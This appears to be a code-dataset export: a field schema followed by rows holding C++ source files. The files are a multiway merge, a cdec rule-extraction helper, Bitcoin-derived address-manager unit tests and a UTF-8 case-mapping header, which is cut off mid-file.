blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 3
264
| content_id
stringlengths 40
40
| detected_licenses
listlengths 0
85
| license_type
stringclasses 2
values | repo_name
stringlengths 5
140
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringclasses 986
values | visit_date
timestamp[us] | revision_date
timestamp[us] | committer_date
timestamp[us] | github_id
int64 3.89k
681M
⌀ | star_events_count
int64 0
209k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 23
values | gha_event_created_at
timestamp[us] | gha_created_at
timestamp[us] | gha_language
stringclasses 145
values | src_encoding
stringclasses 34
values | language
stringclasses 1
value | is_vendor
bool 1
class | is_generated
bool 2
classes | length_bytes
int64 3
10.4M
| extension
stringclasses 122
values | content
stringlengths 3
10.4M
| authors
listlengths 1
1
| author_id
stringlengths 0
158
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ea579dbdb709b75f31e18a4744440cdb726bdcd2
|
615f054c618b0d48b7086b3f9fc327e9ef3f212d
|
/files/Planet-master/merge/multiway_merge.cpp
|
b20a500692ce5b22026e2bcabe01cb257e1c60d8
|
[] |
no_license
|
DayuanTan/CMSC441_641_algorithm
|
af8c21b6fca6e33edb6960e892cac953b622b391
|
9b9bf1d2e7f60f290ad1c4182ad19fc19ccfeb88
|
refs/heads/master
| 2021-06-21T02:44:58.897727
| 2020-12-21T04:23:02
| 2020-12-21T04:23:02
| 150,659,722
| 3
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,022
|
cpp
|
#include <vector>
#include <iostream>
#include <queue>
using namespace std;
template <typename T>
void merge(const vector<vector<T>>& V, vector<T>& S)
{
size_t L = 0;
for (size_t i = 0; i < V.size(); ++i)
L += V[i].size();
S.clear();
S.reserve(L);
using range = pair<typename vector<T>::const_iterator,
typename vector<T>::const_iterator>;
auto cmp = [](range a, range b) { return *(a.first) > *(b.first); };
priority_queue<range, vector<range>, decltype(cmp)> PQ(cmp);
for (size_t i = 0; i < V.size(); ++i)
if (V[i].begin() != V[i].end())
PQ.push({V[i].begin(), V[i].end()});
while (!PQ.empty())
{
auto R = PQ.top();
PQ.pop();
S.push_back(*(R.first));
R.first = R.first + 1;
if (R.first != R.second)
PQ.push(R);
}
}
int main()
{
vector<vector<int>> A = { {1, 2, 4}, {}, {2, 3, 5}, {3, 4, 6, 8} };
// A[0], A[1], A[2], A[3] are sorted.
vector<int> B;
merge(A, B);
for (const auto& x : B)
cout << x << endl;
return 0;
}
|
[
"zhuceafter2015@163.com"
] |
zhuceafter2015@163.com
|
fb4c46d528f17283ab9d7030d0665020b1442c80
|
3af6bd7d60cdd09bc69dcbcc2136c722f7853098
|
/extractor/rule_extractor_helper.cc
|
8a9516f2fe63be52ea55fcbef535df5bf4cdc32f
|
[
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0",
"BSD-3-Clause-LBNL"
] |
permissive
|
lejehl/cdec-dtrain
|
0d1f17b66aba4dd79dcb6e87d04e6b3bb05eb3d4
|
08071e96894044525c449ab886b7c06cf194e802
|
refs/heads/master
| 2021-01-17T10:28:51.604516
| 2013-12-05T10:04:15
| 2013-12-05T10:04:15
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 12,526
|
cc
|
#include "rule_extractor_helper.h"
#include "data_array.h"
#include "alignment.h"
namespace extractor {
RuleExtractorHelper::RuleExtractorHelper(
shared_ptr<DataArray> source_data_array,
shared_ptr<DataArray> target_data_array,
shared_ptr<Alignment> alignment,
int max_rule_span,
int max_rule_symbols,
bool require_aligned_terminal,
bool require_aligned_chunks,
bool require_tight_phrases) :
source_data_array(source_data_array),
target_data_array(target_data_array),
alignment(alignment),
max_rule_span(max_rule_span),
max_rule_symbols(max_rule_symbols),
require_aligned_terminal(require_aligned_terminal),
require_aligned_chunks(require_aligned_chunks),
require_tight_phrases(require_tight_phrases) {}
RuleExtractorHelper::RuleExtractorHelper() {}
RuleExtractorHelper::~RuleExtractorHelper() {}
void RuleExtractorHelper::GetLinksSpans(
vector<int>& source_low, vector<int>& source_high,
vector<int>& target_low, vector<int>& target_high, int sentence_id) const {
int source_sent_len = source_data_array->GetSentenceLength(sentence_id);
int target_sent_len = target_data_array->GetSentenceLength(sentence_id);
source_low = vector<int>(source_sent_len, -1);
source_high = vector<int>(source_sent_len, -1);
target_low = vector<int>(target_sent_len, -1);
target_high = vector<int>(target_sent_len, -1);
vector<pair<int, int> > links = alignment->GetLinks(sentence_id);
for (auto link: links) {
if (source_low[link.first] == -1 || source_low[link.first] > link.second) {
source_low[link.first] = link.second;
}
source_high[link.first] = max(source_high[link.first], link.second + 1);
if (target_low[link.second] == -1 || target_low[link.second] > link.first) {
target_low[link.second] = link.first;
}
target_high[link.second] = max(target_high[link.second], link.first + 1);
}
}
bool RuleExtractorHelper::CheckAlignedTerminals(
const vector<int>& matching,
const vector<int>& chunklen,
const vector<int>& source_low,
int source_sent_start) const {
if (!require_aligned_terminal) {
return true;
}
int num_aligned_chunks = 0;
for (size_t i = 0; i < chunklen.size(); ++i) {
for (size_t j = 0; j < chunklen[i]; ++j) {
int sent_index = matching[i] - source_sent_start + j;
if (source_low[sent_index] != -1) {
++num_aligned_chunks;
break;
}
}
}
if (num_aligned_chunks == 0) {
return false;
}
return !require_aligned_chunks || num_aligned_chunks == chunklen.size();
}
bool RuleExtractorHelper::CheckTightPhrases(
const vector<int>& matching,
const vector<int>& chunklen,
const vector<int>& source_low,
int source_sent_start) const {
if (!require_tight_phrases) {
return true;
}
// Check if the chunk extremities are aligned.
for (size_t i = 0; i + 1 < chunklen.size(); ++i) {
int gap_start = matching[i] + chunklen[i] - source_sent_start;
int gap_end = matching[i + 1] - 1 - source_sent_start;
if (source_low[gap_start] == -1 || source_low[gap_end] == -1) {
return false;
}
}
return true;
}
bool RuleExtractorHelper::FindFixPoint(
int source_phrase_low, int source_phrase_high,
const vector<int>& source_low, const vector<int>& source_high,
int& target_phrase_low, int& target_phrase_high,
const vector<int>& target_low, const vector<int>& target_high,
int& source_back_low, int& source_back_high, int sentence_id,
int min_source_gap_size, int min_target_gap_size,
int max_new_x, bool allow_low_x, bool allow_high_x,
bool allow_arbitrary_expansion) const {
int prev_target_low = target_phrase_low;
int prev_target_high = target_phrase_high;
FindProjection(source_phrase_low, source_phrase_high, source_low,
source_high, target_phrase_low, target_phrase_high);
if (target_phrase_low == -1) {
// Note: Low priority corner case inherited from Adam's code:
// If w is unaligned, but we don't require aligned terminals, returning an
// error here prevents the extraction of the allowed rule
// X -> X_1 w X_2 / X_1 X_2
return false;
}
int source_sent_len = source_data_array->GetSentenceLength(sentence_id);
int target_sent_len = target_data_array->GetSentenceLength(sentence_id);
// Extend the target span to the left.
if (prev_target_low != -1 && target_phrase_low != prev_target_low) {
if (prev_target_low - target_phrase_low < min_target_gap_size) {
target_phrase_low = prev_target_low - min_target_gap_size;
if (target_phrase_low < 0) {
return false;
}
}
}
// Extend the target span to the right.
if (prev_target_high != -1 && target_phrase_high != prev_target_high) {
if (target_phrase_high - prev_target_high < min_target_gap_size) {
target_phrase_high = prev_target_high + min_target_gap_size;
if (target_phrase_high > target_sent_len) {
return false;
}
}
}
// Check target span length.
if (target_phrase_high - target_phrase_low > max_rule_span) {
return false;
}
// Find the initial reflected source span.
source_back_low = source_back_high = -1;
FindProjection(target_phrase_low, target_phrase_high, target_low, target_high,
source_back_low, source_back_high);
int new_x = 0;
bool new_low_x = false, new_high_x = false;
while (true) {
source_back_low = min(source_back_low, source_phrase_low);
source_back_high = max(source_back_high, source_phrase_high);
// Stop if the reflected source span matches the previous source span.
if (source_back_low == source_phrase_low &&
source_back_high == source_phrase_high) {
return true;
}
if (!allow_low_x && source_back_low < source_phrase_low) {
// Extension on the left side not allowed.
return false;
}
if (!allow_high_x && source_back_high > source_phrase_high) {
// Extension on the right side not allowed.
return false;
}
// Extend left side.
if (source_back_low < source_phrase_low) {
if (new_low_x == false) {
if (new_x >= max_new_x) {
return false;
}
new_low_x = true;
++new_x;
}
if (source_phrase_low - source_back_low < min_source_gap_size) {
source_back_low = source_phrase_low - min_source_gap_size;
if (source_back_low < 0) {
return false;
}
}
}
// Extend right side.
if (source_back_high > source_phrase_high) {
if (new_high_x == false) {
if (new_x >= max_new_x) {
return false;
}
new_high_x = true;
++new_x;
}
if (source_back_high - source_phrase_high < min_source_gap_size) {
source_back_high = source_phrase_high + min_source_gap_size;
if (source_back_high > source_sent_len) {
return false;
}
}
}
if (source_back_high - source_back_low > max_rule_span) {
// Rule span too wide.
return false;
}
prev_target_low = target_phrase_low;
prev_target_high = target_phrase_high;
// Find the reflection including the left gap (if one was added).
FindProjection(source_back_low, source_phrase_low, source_low, source_high,
target_phrase_low, target_phrase_high);
// Find the reflection including the right gap (if one was added).
FindProjection(source_phrase_high, source_back_high, source_low,
source_high, target_phrase_low, target_phrase_high);
// Stop if the new re-reflected target span matches the previous target
// span.
if (prev_target_low == target_phrase_low &&
prev_target_high == target_phrase_high) {
return true;
}
if (!allow_arbitrary_expansion) {
// Arbitrary expansion not allowed.
return false;
}
if (target_phrase_high - target_phrase_low > max_rule_span) {
// Target side too wide.
return false;
}
source_phrase_low = source_back_low;
source_phrase_high = source_back_high;
// Re-reflect the target span.
FindProjection(target_phrase_low, prev_target_low, target_low, target_high,
source_back_low, source_back_high);
FindProjection(prev_target_high, target_phrase_high, target_low,
target_high, source_back_low, source_back_high);
}
return false;
}
void RuleExtractorHelper::FindProjection(
int source_phrase_low, int source_phrase_high,
const vector<int>& source_low, const vector<int>& source_high,
int& target_phrase_low, int& target_phrase_high) const {
for (size_t i = source_phrase_low; i < source_phrase_high; ++i) {
if (source_low[i] != -1) {
if (target_phrase_low == -1 || source_low[i] < target_phrase_low) {
target_phrase_low = source_low[i];
}
target_phrase_high = max(target_phrase_high, source_high[i]);
}
}
}
bool RuleExtractorHelper::GetGaps(
vector<pair<int, int> >& source_gaps, vector<pair<int, int> >& target_gaps,
const vector<int>& matching, const vector<int>& chunklen,
const vector<int>& source_low, const vector<int>& source_high,
const vector<int>& target_low, const vector<int>& target_high,
int source_phrase_low, int source_phrase_high, int source_back_low,
int source_back_high, int sentence_id, int source_sent_start,
int& num_symbols, bool& met_constraints) const {
if (source_back_low < source_phrase_low) {
source_gaps.push_back(make_pair(source_back_low, source_phrase_low));
if (num_symbols >= max_rule_symbols) {
// Source side contains too many symbols.
return false;
}
++num_symbols;
if (require_tight_phrases && (source_low[source_back_low] == -1 ||
source_low[source_phrase_low - 1] == -1)) {
// Inside edges of preceding gap are not tight.
return false;
}
} else if (require_tight_phrases && source_low[source_phrase_low] == -1) {
// This is not a hard error. We can't extract this phrase, but we might
// still be able to extract a superphrase.
met_constraints = false;
}
for (size_t i = 0; i + 1 < chunklen.size(); ++i) {
int gap_start = matching[i] + chunklen[i] - source_sent_start;
int gap_end = matching[i + 1] - source_sent_start;
source_gaps.push_back(make_pair(gap_start, gap_end));
}
if (source_phrase_high < source_back_high) {
source_gaps.push_back(make_pair(source_phrase_high, source_back_high));
if (num_symbols >= max_rule_symbols) {
// Source side contains too many symbols.
return false;
}
++num_symbols;
if (require_tight_phrases && (source_low[source_phrase_high] == -1 ||
source_low[source_back_high - 1] == -1)) {
// Inside edges of following gap are not tight.
return false;
}
} else if (require_tight_phrases &&
source_low[source_phrase_high - 1] == -1) {
// This is not a hard error. We can't extract this phrase, but we might
// still be able to extract a superphrase.
met_constraints = false;
}
target_gaps.resize(source_gaps.size(), make_pair(-1, -1));
for (size_t i = 0; i < source_gaps.size(); ++i) {
if (!FindFixPoint(source_gaps[i].first, source_gaps[i].second, source_low,
source_high, target_gaps[i].first, target_gaps[i].second,
target_low, target_high, source_gaps[i].first,
source_gaps[i].second, sentence_id, 0, 0, 0, false, false,
false)) {
// Gap fails integrity check.
return false;
}
}
return true;
}
vector<int> RuleExtractorHelper::GetGapOrder(
const vector<pair<int, int> >& gaps) const {
vector<int> gap_order(gaps.size());
for (size_t i = 0; i < gap_order.size(); ++i) {
for (size_t j = 0; j < i; ++j) {
if (gaps[gap_order[j]] < gaps[i]) {
++gap_order[i];
} else {
++gap_order[j];
}
}
}
return gap_order;
}
unordered_map<int, int> RuleExtractorHelper::GetSourceIndexes(
const vector<int>& matching, const vector<int>& chunklen,
int starts_with_x, int source_sent_start) const {
unordered_map<int, int> source_indexes;
int num_symbols = starts_with_x;
for (size_t i = 0; i < matching.size(); ++i) {
for (size_t j = 0; j < chunklen[i]; ++j) {
source_indexes[matching[i] + j - source_sent_start] = num_symbols;
++num_symbols;
}
++num_symbols;
}
return source_indexes;
}
} // namespace extractor
|
[
"pauldb89@gmail.com"
] |
pauldb89@gmail.com
|
1445024d9d3d809f105e9700353382b0a17ae749
|
45986c01dec7eac1c824d7739fb4526a2007bedf
|
/src/test/net_tests.cpp
|
f7ae101fab37627a8babe192609157c51b7d42b8
|
[
"MIT"
] |
permissive
|
scolcoin/scolcoin
|
7c72c58a345588efaf541dc1bd85805e6f16cec0
|
9a74f33bde41a9f31617bc02b0fa9ae2f19f269f
|
refs/heads/master
| 2023-05-25T14:34:47.484295
| 2023-05-22T21:15:09
| 2023-05-22T21:15:09
| 123,132,502
| 16
| 14
|
MIT
| 2020-09-25T11:31:41
| 2018-02-27T13:24:20
|
C++
|
UTF-8
|
C++
| false
| false
| 5,287
|
cpp
|
// Copyright (c) 2012-2016 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "addrman.h"
#include "test/test_bitcoin.h"
#include <string>
#include <boost/test/unit_test.hpp>
#include "chainparams.h"
#include "hash.h"
#include "net.h"
#include "netbase.h"
#include "serialize.h"
#include "streams.h"
using namespace std;
class CAddrManSerializationMock : public CAddrMan
{
public:
virtual void Serialize(CDataStream& s, int nType, int nVersionDummy) const = 0;
//! Ensure that bucket placement is always the same for testing purposes.
void MakeDeterministic()
{
nKey.SetNull();
seed_insecure_rand(true);
}
};
class CAddrManUncorrupted : public CAddrManSerializationMock
{
public:
void Serialize(CDataStream& s, int nType, int nVersionDummy) const
{
CAddrMan::Serialize(s, nType, nVersionDummy);
}
};
class CAddrManCorrupted : public CAddrManSerializationMock
{
public:
void Serialize(CDataStream& s, int nType, int nVersionDummy) const
{
// Produces corrupt output that claims addrman has 20 addrs when it only has one addr.
unsigned char nVersion = 1;
s << nVersion;
s << ((unsigned char)32);
s << nKey;
s << 10; // nNew
s << 10; // nTried
int nUBuckets = ADDRMAN_NEW_BUCKET_COUNT ^ (1 << 30);
s << nUBuckets;
CService serv;
Lookup("252.1.1.1", serv, 7777, false);
CAddress addr = CAddress(serv, NODE_NONE);
CNetAddr resolved;
LookupHost("252.2.2.2", resolved, false);
CAddrInfo info = CAddrInfo(addr, resolved);
s << info;
}
};
CDataStream AddrmanToStream(CAddrManSerializationMock& addrman)
{
CDataStream ssPeersIn(SER_DISK, CLIENT_VERSION);
ssPeersIn << FLATDATA(Params().MessageStart());
ssPeersIn << addrman;
std::string str = ssPeersIn.str();
vector<unsigned char> vchData(str.begin(), str.end());
return CDataStream(vchData, SER_DISK, CLIENT_VERSION);
}
BOOST_FIXTURE_TEST_SUITE(net_tests, BasicTestingSetup)
BOOST_AUTO_TEST_CASE(caddrdb_read)
{
CAddrManUncorrupted addrmanUncorrupted;
addrmanUncorrupted.MakeDeterministic();
CService addr1, addr2, addr3;
Lookup("250.7.1.1", addr1, 8333, false);
Lookup("250.7.2.2", addr2, 9999, false);
Lookup("250.7.3.3", addr3, 9999, false);
// Add three addresses to new table.
CService source;
Lookup("252.5.1.1", source, 8333, false);
addrmanUncorrupted.Add(CAddress(addr1, NODE_NONE), source);
addrmanUncorrupted.Add(CAddress(addr2, NODE_NONE), source);
addrmanUncorrupted.Add(CAddress(addr3, NODE_NONE), source);
// Test that the de-serialization does not throw an exception.
CDataStream ssPeers1 = AddrmanToStream(addrmanUncorrupted);
bool exceptionThrown = false;
CAddrMan addrman1;
BOOST_CHECK(addrman1.size() == 0);
try {
unsigned char pchMsgTmp[4];
ssPeers1 >> FLATDATA(pchMsgTmp);
ssPeers1 >> addrman1;
} catch (const std::exception& e) {
exceptionThrown = true;
}
BOOST_CHECK(addrman1.size() == 3);
BOOST_CHECK(exceptionThrown == false);
// Test that CAddrDB::Read creates an addrman with the correct number of addrs.
CDataStream ssPeers2 = AddrmanToStream(addrmanUncorrupted);
CAddrMan addrman2;
CAddrDB adb;
BOOST_CHECK(addrman2.size() == 0);
adb.Read(addrman2, ssPeers2);
BOOST_CHECK(addrman2.size() == 3);
}
BOOST_AUTO_TEST_CASE(caddrdb_read_corrupted)
{
CAddrManCorrupted addrmanCorrupted;
addrmanCorrupted.MakeDeterministic();
// Test that the de-serialization of corrupted addrman throws an exception.
CDataStream ssPeers1 = AddrmanToStream(addrmanCorrupted);
bool exceptionThrown = false;
CAddrMan addrman1;
BOOST_CHECK(addrman1.size() == 0);
try {
unsigned char pchMsgTmp[4];
ssPeers1 >> FLATDATA(pchMsgTmp);
ssPeers1 >> addrman1;
} catch (const std::exception& e) {
exceptionThrown = true;
}
// Even through de-serialization failed addrman is not left in a clean state.
BOOST_CHECK(addrman1.size() == 1);
BOOST_CHECK(exceptionThrown);
// Test that CAddrDB::Read leaves addrman in a clean state if de-serialization fails.
CDataStream ssPeers2 = AddrmanToStream(addrmanCorrupted);
CAddrMan addrman2;
CAddrDB adb;
BOOST_CHECK(addrman2.size() == 0);
adb.Read(addrman2, ssPeers2);
BOOST_CHECK(addrman2.size() == 0);
}
BOOST_AUTO_TEST_CASE(cnode_simple_test)
{
SOCKET hSocket = INVALID_SOCKET;
in_addr ipv4Addr;
ipv4Addr.s_addr = 0xa0b0c001;
CAddress addr = CAddress(CService(ipv4Addr, 7777), NODE_NETWORK);
std::string pszDest = "";
bool fInboundIn = false;
// Test that fFeeler is false by default.
CNode* pnode1 = new CNode(hSocket, addr, pszDest, fInboundIn);
BOOST_CHECK(pnode1->fInbound == false);
BOOST_CHECK(pnode1->fFeeler == false);
fInboundIn = true;
CNode* pnode2 = new CNode(hSocket, addr, pszDest, fInboundIn);
BOOST_CHECK(pnode2->fInbound == true);
BOOST_CHECK(pnode2->fFeeler == false);
}
BOOST_AUTO_TEST_SUITE_END()
|
[
"info@scolcoin.com"
] |
info@scolcoin.com
|
3002332d3c45dd29fed6c8905421ca328e3c066a
|
60a375565236a2c7b1c130c4f1bf3f8fa075e35e
|
/include/audaki/u8string.h
|
f1f0fdc46d471938218f47ed3a550fc853b0d988
|
[
"MIT"
] |
permissive
|
audaki/audaki-u8string
|
1176ed1e606a6185cd695c6940a6ea849a0dd843
|
a5c0083794293626c04eb58c8bc8e6c5504baaf8
|
refs/heads/master
| 2021-07-07T10:53:31.021753
| 2020-09-09T11:45:55
| 2020-09-09T11:45:55
| 187,390,016
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 24,927
|
h
|
#pragma once
#include <cstddef>
#include <cassert>
#include <string_view>
#include <algorithm>
#include <vector>
#include <numeric>
#include <utility>
#include <array>
enum class Utf8_byte_type: uint8_t {
continuation_byte = 0,
single_byte_ascii = 1,
first_of_two_bytes = 2,
first_of_three_bytes = 3,
first_of_four_bytes = 4
};
/**
* Examine most significant bits to get UTF-8 byte type.
*/
inline Utf8_byte_type get_utf8_byte_type(std::byte byte)
{
using Type = Utf8_byte_type;
if ((byte >> 7) == std::byte{0b0})
return Type::single_byte_ascii;
if ((byte >> 6) == std::byte{0b10})
return Type::continuation_byte;
if ((byte >> 5) == std::byte{0b110})
return Type::first_of_two_bytes;
if ((byte >> 4) == std::byte{0b1110})
return Type::first_of_three_bytes;
return Type::first_of_four_bytes;
}
/**
* Is char c the begin of a code point? Otherwise it's a continuation byte.
*/
inline bool is_utf8_code_point_begin(char c) noexcept
{
uint8_t byte = static_cast<uint8_t>(c);
bool is_ascii = (byte & 0b1000'0000) == 0;
if (is_ascii)
return true;
bool is_two_bytes_begin = (byte & 0b1110'0000) == 0b1100'0000;
if (is_two_bytes_begin)
return true;
bool is_three_bytes_begin = (byte & 0b1111'0000) == 0b1110'0000;
if (is_three_bytes_begin)
return true;
bool is_four_bytes_begin = (byte & 0b1111'1000) == 0b1111'0000;
if (is_four_bytes_begin)
return true;
return false;
}
struct Unicode_code_point {
constexpr Unicode_code_point(uint32_t v): v_{v}
{
}
constexpr Unicode_code_point(char c): v_{static_cast<uint8_t>(c)}
{
}
constexpr Unicode_code_point(char c1, char c2): v_{
(static_cast<uint32_t>(static_cast<uint8_t>(c1) & 0b0001'1111u) << 6) |
static_cast<uint32_t>(static_cast<uint8_t>(c2) & 0b0011'1111u)}
{
}
constexpr Unicode_code_point(char c1, char c2, char c3): v_{
(static_cast<uint32_t>(static_cast<uint8_t>(c1) & 0b0000'1111u) << 12) |
(static_cast<uint32_t>(static_cast<uint8_t>(c2) & 0b0011'1111u) << 6) |
static_cast<uint32_t>(static_cast<uint8_t>(c3) & 0b0011'1111u)}
{
}
constexpr Unicode_code_point(char c1, char c2, char c3, char c4): v_{
(static_cast<uint32_t>(static_cast<uint8_t>(c1) & 0b0000'0111u) << 18) |
(static_cast<uint32_t>(static_cast<uint8_t>(c2) & 0b0011'1111u) << 12) |
(static_cast<uint32_t>(static_cast<uint8_t>(c3) & 0b0011'1111u) << 6) |
static_cast<uint32_t>(static_cast<uint8_t>(c4) & 0b0011'1111u)}
{
}
bool operator==(char c) const noexcept
{
uint8_t uc = static_cast<uint8_t>(c);
return uc <= 0x7F && uc == v_;
}
bool operator!=(char c) const noexcept
{
uint8_t uc = static_cast<uint8_t>(c);
return uc >= 0x80 || uc != v_;
}
bool operator==(const Unicode_code_point& other) const noexcept
{
return v_ == other.v_;
}
bool operator!=(const Unicode_code_point& other) const noexcept
{
return v_ != other.v_;
}
bool is_ascii() const noexcept
{
return v_ <= 0x7F;
}
bool is_ascii_digit() const noexcept
{
return v_ >= 0x30 && v_ <= 0x39;
}
bool is_ascii_upper() const noexcept
{
return v_ >= 0x41 && v_ <= 0x5A;
}
bool is_ascii_lower() const noexcept
{
return v_ >= 0x61 && v_ <= 0x7A;
}
bool is_ascii_alpha() const noexcept
{
return is_ascii_upper() || is_ascii_lower();
}
bool is_ascii_alnum() const noexcept
{
return is_ascii_digit() || is_ascii_upper() || is_ascii_lower();
}
bool is_ascii_control() const noexcept
{
return v_ <= 0x1F || v_ == 0x7F;
}
bool is_ascii_blank() const noexcept
{
return v_ == U'\t' || v_ == U' ';
}
std::array<char, 5> to_utf8() const noexcept
{
if (v_ <= 0x7F)
return {static_cast<char>(v_), 0, 0, 0, 0};
if (v_ <= 0x7FF)
return {
static_cast<char>(0b1100'0000 | static_cast<char>((v_ >> 6) & 0b0001'1111)),
static_cast<char>(0b1000'0000 | static_cast<char>(v_ & 0b0011'1111)),
0, 0, 0};
if (v_ <= 0xFFFF)
return {
static_cast<char>(0b1110'0000 | static_cast<char>((v_ >> 12) & 0b0000'1111)),
static_cast<char>(0b1000'0000 | static_cast<char>((v_ >> 6) & 0b0011'1111)),
static_cast<char>(0b1000'0000 | static_cast<char>(v_ & 0b0011'1111)),
0, 0};
return {
static_cast<char>(0b1111'0000 | static_cast<char>((v_ >> 18) & 0b0000'0111)),
static_cast<char>(0b1000'0000 | static_cast<char>((v_ >> 12) & 0b0011'1111)),
static_cast<char>(0b1000'0000 | static_cast<char>((v_ >> 6) & 0b0011'1111)),
static_cast<char>(0b1000'0000 | static_cast<char>(v_ & 0b0011'1111)),
0};
}
bool icompare(const Unicode_code_point& other) const noexcept
{
switch(v_) {
case U'a': case U'A': return other.v_ == U'a' || other.v_ == U'A';
case U'b': case U'B': return other.v_ == U'b' || other.v_ == U'B';
case U'c': case U'C': return other.v_ == U'c' || other.v_ == U'C';
case U'd': case U'D': return other.v_ == U'd' || other.v_ == U'D';
case U'e': case U'E': return other.v_ == U'e' || other.v_ == U'E';
case U'f': case U'F': return other.v_ == U'f' || other.v_ == U'F';
case U'g': case U'G': return other.v_ == U'g' || other.v_ == U'G';
case U'h': case U'H': return other.v_ == U'h' || other.v_ == U'H';
case U'i': case U'I': return other.v_ == U'i' || other.v_ == U'I';
case U'j': case U'J': return other.v_ == U'j' || other.v_ == U'J';
case U'k': case U'K': return other.v_ == U'k' || other.v_ == U'K';
case U'l': case U'L': return other.v_ == U'l' || other.v_ == U'L';
case U'm': case U'M': return other.v_ == U'm' || other.v_ == U'M';
case U'n': case U'N': return other.v_ == U'n' || other.v_ == U'N';
case U'o': case U'O': return other.v_ == U'o' || other.v_ == U'O';
case U'p': case U'P': return other.v_ == U'p' || other.v_ == U'P';
case U'q': case U'Q': return other.v_ == U'q' || other.v_ == U'Q';
case U'r': case U'R': return other.v_ == U'r' || other.v_ == U'R';
case U's': case U'S': return other.v_ == U's' || other.v_ == U'S';
case U't': case U'T': return other.v_ == U't' || other.v_ == U'T';
case U'u': case U'U': return other.v_ == U'u' || other.v_ == U'U';
case U'v': case U'V': return other.v_ == U'v' || other.v_ == U'V';
case U'w': case U'W': return other.v_ == U'w' || other.v_ == U'W';
case U'x': case U'X': return other.v_ == U'x' || other.v_ == U'X';
case U'y': case U'Y': return other.v_ == U'y' || other.v_ == U'Y';
case U'z': case U'Z': return other.v_ == U'z' || other.v_ == U'Z';
case U'à': case U'À': return other.v_ == U'à' || other.v_ == U'À';
case U'á': case U'Á': return other.v_ == U'á' || other.v_ == U'Á';
case U'â': case U'Â': return other.v_ == U'â' || other.v_ == U'Â';
case U'ã': case U'Ã': return other.v_ == U'ã' || other.v_ == U'Ã';
case U'ä': case U'Ä': return other.v_ == U'ä' || other.v_ == U'Ä';
case U'å': case U'Å': return other.v_ == U'å' || other.v_ == U'Å';
case U'æ': case U'Æ': return other.v_ == U'æ' || other.v_ == U'Æ';
case U'ç': case U'Ç': return other.v_ == U'ç' || other.v_ == U'Ç';
case U'è': case U'È': return other.v_ == U'è' || other.v_ == U'È';
case U'é': case U'É': return other.v_ == U'é' || other.v_ == U'É';
case U'ê': case U'Ê': return other.v_ == U'ê' || other.v_ == U'Ê';
case U'ë': case U'Ë': return other.v_ == U'ë' || other.v_ == U'Ë';
case U'ì': case U'Ì': return other.v_ == U'ì' || other.v_ == U'Ì';
case U'í': case U'Í': return other.v_ == U'í' || other.v_ == U'Í';
case U'î': case U'Î': return other.v_ == U'î' || other.v_ == U'Î';
case U'ï': case U'Ï': return other.v_ == U'ï' || other.v_ == U'Ï';
case U'ð': case U'Ð': return other.v_ == U'ð' || other.v_ == U'Ð';
case U'ñ': case U'Ñ': return other.v_ == U'ñ' || other.v_ == U'Ñ';
case U'ò': case U'Ò': return other.v_ == U'ò' || other.v_ == U'Ò';
case U'ó': case U'Ó': return other.v_ == U'ó' || other.v_ == U'Ó';
case U'ô': case U'Ô': return other.v_ == U'ô' || other.v_ == U'Ô';
case U'õ': case U'Õ': return other.v_ == U'õ' || other.v_ == U'Õ';
case U'ö': case U'Ö': return other.v_ == U'ö' || other.v_ == U'Ö';
case U'÷': case U'×': return other.v_ == U'÷' || other.v_ == U'×';
case U'ø': case U'Ø': return other.v_ == U'ø' || other.v_ == U'Ø';
case U'ù': case U'Ù': return other.v_ == U'ù' || other.v_ == U'Ù';
case U'ú': case U'Ú': return other.v_ == U'ú' || other.v_ == U'Ú';
case U'û': case U'Û': return other.v_ == U'û' || other.v_ == U'Û';
case U'ü': case U'Ü': return other.v_ == U'ü' || other.v_ == U'Ü';
case U'ý': case U'Ý': return other.v_ == U'ý' || other.v_ == U'Ý';
case U'þ': case U'Þ': return other.v_ == U'þ' || other.v_ == U'Þ';
case U'ß': case U'ẞ': return other.v_ == U'ß' || other.v_ == U'ẞ';
default:
return v_ == other.v_;
}
}
Unicode_code_point as_upper_case() const noexcept
{
switch(v_) {
case U'a': return U'A';
case U'b': return U'B';
case U'c': return U'C';
case U'd': return U'D';
case U'e': return U'E';
case U'f': return U'F';
case U'g': return U'G';
case U'h': return U'H';
case U'i': return U'I';
case U'j': return U'J';
case U'k': return U'K';
case U'l': return U'L';
case U'm': return U'M';
case U'n': return U'N';
case U'o': return U'O';
case U'p': return U'P';
case U'q': return U'Q';
case U'r': return U'R';
case U's': return U'S';
case U't': return U'T';
case U'u': return U'U';
case U'v': return U'V';
case U'w': return U'W';
case U'x': return U'X';
case U'y': return U'Y';
case U'z': return U'Z';
case U'à': return U'À';
case U'á': return U'Á';
case U'â': return U'Â';
case U'ã': return U'Ã';
case U'ä': return U'Ä';
case U'å': return U'Å';
case U'æ': return U'Æ';
case U'ç': return U'Ç';
case U'è': return U'È';
case U'é': return U'É';
case U'ê': return U'Ê';
case U'ë': return U'Ë';
case U'ì': return U'Ì';
case U'í': return U'Í';
case U'î': return U'Î';
case U'ï': return U'Ï';
case U'ð': return U'Ð';
case U'ñ': return U'Ñ';
case U'ò': return U'Ò';
case U'ó': return U'Ó';
case U'ô': return U'Ô';
case U'õ': return U'Õ';
case U'ö': return U'Ö';
case U'÷': return U'×';
case U'ø': return U'Ø';
case U'ù': return U'Ù';
case U'ú': return U'Ú';
case U'û': return U'Û';
case U'ü': return U'Ü';
case U'ý': return U'Ý';
case U'þ': return U'Þ';
case U'ß': return U'ẞ';
default:
return v_;
}
}
Unicode_code_point as_lower_case() const noexcept
{
switch(v_) {
case U'A': return U'a';
case U'B': return U'b';
case U'C': return U'c';
case U'D': return U'd';
case U'E': return U'e';
case U'F': return U'f';
case U'G': return U'g';
case U'H': return U'h';
case U'I': return U'i';
case U'J': return U'j';
case U'K': return U'k';
case U'L': return U'l';
case U'M': return U'm';
case U'N': return U'n';
case U'O': return U'o';
case U'P': return U'p';
